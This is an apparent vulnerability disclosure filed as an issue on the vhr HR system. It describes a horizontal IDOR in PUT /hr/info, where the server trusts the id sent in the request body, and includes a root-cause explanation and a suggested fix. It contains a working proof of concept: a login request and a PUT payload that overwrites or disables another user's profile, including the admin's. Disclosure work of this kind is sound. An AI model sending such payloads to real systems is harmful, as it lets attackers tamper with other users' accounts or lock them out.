#349·vhr

Horizontal IDOR in PUT /hr/info allows any authenticated user to overwrite any other user's profile

Author: geo-chenCreated Jul 5, 2026Updated Jul 5, 2026

reported via email on 3 June 2026; no response.

I'm writing to report a horizontal insecure direct object reference (IDOR) vulnerability in vhr (微人事), confirmed on the current master branch (commit 03abbd3).

Summary

The PUT /hr/info endpoint, intended for a user to update their own profile, accepts the target record's database id from the JSON request body without verifying that it matches the authenticated user's own id. Any authenticated session -- regardless of role -- can overwrite any other HR account's profile by supplying a different user's id in the body.

Root cause

HrInfoController.updateHr (vhr-web/.../controller/HrInfoController.java, lines 41-47) passes the deserialized Hr object directly to hrMapper.updateByPrimaryKeySelective(hr). The WHERE clause in the MyBatis mapper uses hr.getId(), which comes entirely from the client-controlled JSON body. The endpoint never compares this id against authentication.getPrincipal().getId().

PoC

Step 1 -- Log in as a low-privilege user (hanyu, id=10, ROLE_recruiter):

POST /doLogin  body: {"username":"hanyu","password":"123","code":"<captcha>"}
-> HTTP 200, session cookie set, id=10 confirmed in response.

Step 2 -- Overwrite libai's (id=5) profile using hanyu's session:

PUT /hr/info  Cookie: JSESSIONID=<hanyu session>
body: {"id":5,"name":"HACKED_BY_HANYU","address":"attacker_controlled","enabled":true}
-> HTTP 200 {"status":200,"msg":"更新成功!","obj":null}

Step 3 -- Confirm in MySQL:

SELECT id, name, address FROM hr WHERE id=5;
-> 5 | HACKED_BY_HANYU | attacker_controlled

The attack works against any account, including the admin account (id=3). Setting enabled=false locks the target out.

Suggested fix

Bind the update to the authenticated principal's own id:

Hr principal = (Hr) authentication.getPrincipal();
hr.setId(principal.getId());